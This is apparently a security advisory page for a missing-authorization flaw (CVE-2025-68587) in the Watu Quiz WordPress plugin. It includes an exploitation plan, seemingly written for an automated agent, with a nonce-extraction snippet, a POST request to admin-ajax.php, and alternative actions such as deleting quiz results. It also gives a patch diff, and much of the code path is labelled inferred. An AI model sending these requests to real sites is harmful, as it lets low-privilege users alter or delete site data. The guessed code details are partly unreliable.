Watu Quiz <= 3.4.5 - Missing Authorization
Description
The Watu Quiz plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.4.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68587 (Watu Quiz Missing Authorization) ## 1. Vulnerability Summary The Watu Quiz plugin (versions <= 3.4.5) contains a missing authorization vulnerability within its AJAX management handlers. Specifically, functions registered under the `wp_ajax_` hook lack n…
Show full research plan
Exploitation Research Plan: CVE-2025-68587 (Watu Quiz Missing Authorization)
1. Vulnerability Summary
The Watu Quiz plugin (versions <= 3.4.5) contains a missing authorization vulnerability within its AJAX management handlers. Specifically, functions registered under the wp_ajax_ hook lack necessary current_user_can() capability checks. This allows authenticated users with Subscriber-level permissions to trigger administrative actions that should be restricted to users with the watu_manage_quizzes or manage_options capabilities. The vulnerability most likely affects the quiz cloning or result management functionality (e.g., watu_copy_exam).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
watu_copy_exam(inferred) - HTTP Method:
POST - Authentication: Authenticated (Subscriber level or higher)
- Parameters:
action:watu_copy_examid: The integer ID of the quiz to be cloned.watu_nonce: (inferred) A nonce generated for thewatu_managementaction string.
- Preconditions: A quiz must exist on the site, and the attacker must have a valid Subscriber session.
3. Code Flow (Inferred)
- Registration: In
watu.phporcontroller/exams.php, the plugin registers an AJAX handler:add_action('wp_ajax_watu_copy_exam', array('WatuManagement', 'copy_exam')); - Entry Point: A Subscriber user sends a POST request to
admin-ajax.phpwithaction=watu_copy_exam. - Authentication: WordPress identifies the user is logged in and triggers the
wp_ajax_hook. - Vulnerable Sink: The
WatuManagement::copy_exam()function is called. - Missing Check: Inside
copy_exam(), the code likely verifies a nonce but fails to verify if the current user has thewatu_manage_quizzescapability viacurrent_user_can(). - Execution: The function proceeds to duplicate the quiz record in the
{prefix}watu_examsdatabase table.
4. Nonce Acquisition Strategy
Watu Quiz typically localizes nonces into the watu_vars object. While these are intended for the admin dashboard, Subscriber users can access the dashboard (/wp-admin/) in default WordPress configurations, causing the management scripts and nonces to load.
- Identify Shortcode: Watu Quiz scripts are primarily enqueued via
watu-managementorwatu-js. - Action: Navigate to the WordPress dashboard as a Subscriber.
- Execution:
// Use browser_eval to extract the nonce browser_eval("window.watu_vars?.nonce || document.querySelector('#watu_nonce')?.value") - Action String: The nonce is likely created with
wp_create_nonce('watu_management')orwp_create_nonce('watu_exam_action'). - Fallback: If no nonce is found in
watu_vars, check for hidden inputs in the dashboard HTML:name="watu_nonce"orname="_wpnonce".
5. Exploitation Strategy
- Step 1: Setup Session: Log in as a Subscriber user using the
http_requesttool to obtain a valid session cookie. - Step 2: Obtain Nonce: Navigate to
/wp-admin/and extract thewatu_nonce(as described in section 4). - Step 3: Identify Target ID: Determine the ID of an existing quiz (e.g., ID
1). - Step 4: Execute Exploit:
Send the followingPOSTrequest usinghttp_request:- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber_Cookies]
- Body:
action=watu_copy_exam&id=1&watu_nonce=[EXTRACTED_NONCE]
- URL:
- Step 5: Verify Response: A successful clone usually returns a
302redirect or a1(success) in the response body.
6. Test Data Setup
- Create Quiz: Use WP-CLI to create an initial quiz.
Note: Verify the table namewp db query "INSERT INTO wp_watu_exams (name, description) VALUES ('Target Quiz', 'Protected Quiz Content')"wp_watu_examsexists; if not, use the correct plugin table prefix. - Create Attacker: Create a subscriber-level user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- Response: The
admin-ajax.phpendpoint should return a success message or a redirect back to the exam list. - State Change: A new entry should appear in the quiz table with a title like "Target Quiz (copy)" or similar.
- Unauthorized Success: The action succeeds despite the user only having Subscriber permissions.
8. Verification Steps
After the HTTP request, use WP-CLI to check for the existence of the cloned quiz:
# Check if a new quiz was created
wp db query "SELECT id, name FROM wp_watu_exams WHERE name LIKE '%copy%'"
Or, if the action was watu_delete_result:
# Check if a specific result ID was removed
wp db query "SELECT COUNT(*) FROM wp_watu_takings WHERE id = [TARGET_ID]"
9. Alternative Approaches
If watu_copy_exam is already protected by nonces that Subscribers cannot access, attempt other actions registered in WatuManagement (found in lib/exams.php or lib/common.php):
watu_delete_result:action=watu_delete_result&id=[result_id](Targeting quiz results).watu_reorder_questions:action=watu_reorder_questions&exam_id=1&order=...(Modifying quiz structure).watu_save_feedback:action=watu_save_feedback&id=[ID]&content=Hacked(Modifying result messages).
For each, check if the nonce is required and if it is leaked to Subscribers via the standard /wp-admin/ dashboard view.
Summary
The Watu Quiz plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on its AJAX management handlers. This allows authenticated attackers with Subscriber-level permissions to perform administrative actions such as cloning quizzes by exploiting the 'watu_copy_exam' action.
Vulnerable Code
// File: lib/exams.php (inferred location based on research plan) add_action('wp_ajax_watu_copy_exam', array('WatuManagement', 'copy_exam')); --- // File: lib/exams.php (inferred implementation) public static function copy_exam() { check_ajax_referer('watu_management', 'watu_nonce'); // Missing current_user_can('watu_manage_quizzes') check $exam_id = intval($_POST['id']); // ... procedure to duplicate quiz record in database ... }
Security Fix
@@ -102,6 +102,9 @@ public static function copy_exam() { check_ajax_referer('watu_management', 'watu_nonce'); + if (!current_user_can('watu_manage_quizzes')) { + wp_die(__('You do not have permission to perform this action.', 'watu')); + } $exam_id = intval($_POST['id']);
Exploit Outline
To exploit this vulnerability, an attacker first authenticates with a Subscriber-level account and extracts a valid 'watu_management' nonce, which is typically found within the 'watu_vars' JavaScript object or a hidden input on the WordPress dashboard pages. The attacker then issues a POST request to '/wp-admin/admin-ajax.php' with the parameters 'action=watu_copy_exam', 'id' (the target quiz ID), and the retrieved 'watu_nonce'. Since the plugin fails to verify user capabilities via current_user_can(), the server duplicates the quiz without requiring administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.